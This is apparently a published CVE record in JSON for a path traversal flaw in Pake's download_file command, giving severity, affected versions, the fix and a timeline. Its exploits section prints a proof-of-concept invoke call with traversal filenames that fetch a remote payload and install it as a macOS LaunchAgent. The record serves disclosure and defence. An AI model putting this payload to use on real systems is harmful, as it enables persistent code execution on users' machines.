{
    "dataType": "CVE_RECORD",
    "dataVersion": "5.2",
    "cveMetadata": {
        "cveId": "CVE-2026-82635",
        "assignerOrgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
        "state": "PUBLISHED",
        "assignerShortName": "JFROG",
        "dateReserved": "2026-08-30T12:09:20.896Z",
        "datePublished": "2026-08-30T12:26:16.770Z",
        "dateUpdated": "2026-08-30T12:26:16.770Z"
    },
    "containers": {
        "cna": {
            "providerMetadata": {
                "orgId": "48a46f29-ae42-4e1d-90dd-c1676c1e5e6d",
                "shortName": "JFROG",
                "dateUpdated": "2026-08-30T12:26:16.770Z"
            },
            "title": "Pake arbitrary file write via unsanitized download_file filename",
            "problemTypes": [
                {
                    "descriptions": [
                        {
                            "lang": "en",
                            "cweId": "CWE-22",
                            "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                            "type": "CWE"
                        }
                    ]
                }
            ],
            "impacts": [
                {
                    "capecId": "CAPEC-126",
                    "descriptions": [
                        {
                            "lang": "en",
                            "value": "CAPEC-126 Path Traversal"
                        }
                    ]
                },
                {
                    "capecId": "CAPEC-165",
                    "descriptions": [
                        {
                            "lang": "en",
                            "value": "CAPEC-165 File Manipulation"
                        }
                    ]
                },
                {
                    "capecId": "CAPEC-17",
                    "descriptions": [
                        {
                            "lang": "en",
                            "value": "CAPEC-17 Using Malicious Files"
                        }
                    ]
                }
            ],
            "affected": [
                {
                    "vendor": "tw93",
                    "product": "Pake",
                    "collectionURL": "https://github.com/tw93/Pake",
                    "repo": "git://github.com/tw93/Pake",
                    "modules": [
                        "download_file"
                    ],
                    "programFiles": [
                        "src-tauri/src/app/invoke.rs",
                        "src-tauri/src/util.rs"
                    ],
                    "versions": [
                        {
                            "status": "affected",
                            "version": "0",
                            "lessThan": "3.13.1",
                            "versionType": "semver"
                        }
                    ],
                    "defaultStatus": "unaffected"
                }
            ],
            "descriptions": [
                {
                    "lang": "en",
                    "value": "Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.",
                    "supportingMedia": [
                        {
                            "type": "text/html",
                            "base64": false,
                            "value": "<p>Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.</p>"
                        }
                    ]
                }
            ],
            "references": [
                {
                    "url": "https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4",
                    "name": "Fix: sanitize download filenames (basename only)",
                    "tags": [
                        "patch"
                    ]
                },
                {
                    "url": "https://github.com/tw93/Pake/releases/tag/V3.13.1",
                    "name": "Pake V3.13.1 release (first tag containing the fix)",
                    "tags": [
                        "vendor-advisory"
                    ]
                },
                {
                    "url": "https://github.com/tw93/Pake",
                    "name": "Pake repository",
                    "tags": [
                        "product"
                    ]
                }
            ],
            "metrics": [
                {
                    "format": "CVSS",
                    "scenarios": [
                        {
                            "lang": "en",
                            "value": "GENERAL"
                        }
                    ],
                    "cvssV3_1": {
                        "version": "3.1",
                        "attackVector": "NETWORK",
                        "attackComplexity": "LOW",
                        "privilegesRequired": "NONE",
                        "userInteraction": "REQUIRED",
                        "scope": "UNCHANGED",
                        "confidentialityImpact": "HIGH",
                        "integrityImpact": "HIGH",
                        "availabilityImpact": "HIGH",
                        "baseSeverity": "HIGH",
                        "baseScore": 8.8,
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                    }
                }
            ],
            "configurations": [
                {
                    "lang": "en",
                    "value": "Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.",
                    "supportingMedia": [
                        {
                            "type": "text/html",
                            "base64": false,
                            "value": "<p>Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.</p>"
                        }
                    ]
                }
            ],
            "solutions": [
                {
                    "lang": "en",
                    "value": "Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.",
                    "supportingMedia": [
                        {
                            "type": "text/html",
                            "base64": false,
                            "value": "<p>Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.</p>"
                        }
                    ]
                }
            ],
            "exploits": [
                {
                    "lang": "en",
                    "value": "A proof of concept invokes window.__TAURI__.core.invoke('download_file', { params: { url: '<attacker-controlled HTTP URL>', filename: '../pake_write_proof.sh' } }) and a second invoke with filename '../Library/LaunchAgents/com.pake.poc.plist'. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.",
                    "supportingMedia": [
                        {
                            "type": "text/html",
                            "base64": false,
                            "value": "<p>A proof of concept invokes window.__TAURI__.core.invoke('download_file', { params: { url: '&lt;attacker-controlled HTTP URL&gt;', filename: '../pake_write_proof.sh' } }) and a second invoke with filename '../Library/LaunchAgents/com.pake.poc.plist'. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.</p>"
                        }
                    ]
                }
            ],
            "timeline": [
                {
                    "time": "2026-06-24T00:00:00.000Z",
                    "lang": "en",
                    "value": "Vulnerability reported to maintainers"
                },
                {
                    "time": "2026-07-03T12:51:00.000Z",
                    "lang": "en",
                    "value": "Fix committed upstream (sanitize download filenames)"
                },
                {
                    "time": "2026-07-04T15:30:00.000Z",
                    "lang": "en",
                    "value": "Fix first shipped in Pake V3.13.1"
                }
            ],
            "credits": [
                {
                    "lang": "en",
                    "value": "Yuval Moravchick",
                    "type": "finder"
                },
                {
                    "lang": "en",
                    "value": "JFrog Security Research",
                    "type": "coordinator"
                }
            ],
            "source": {
                "discovery": "EXTERNAL"
            },
            "x_generator": {
                "engine": "Vulnogram 1.0.5"
            }
        }
    }
}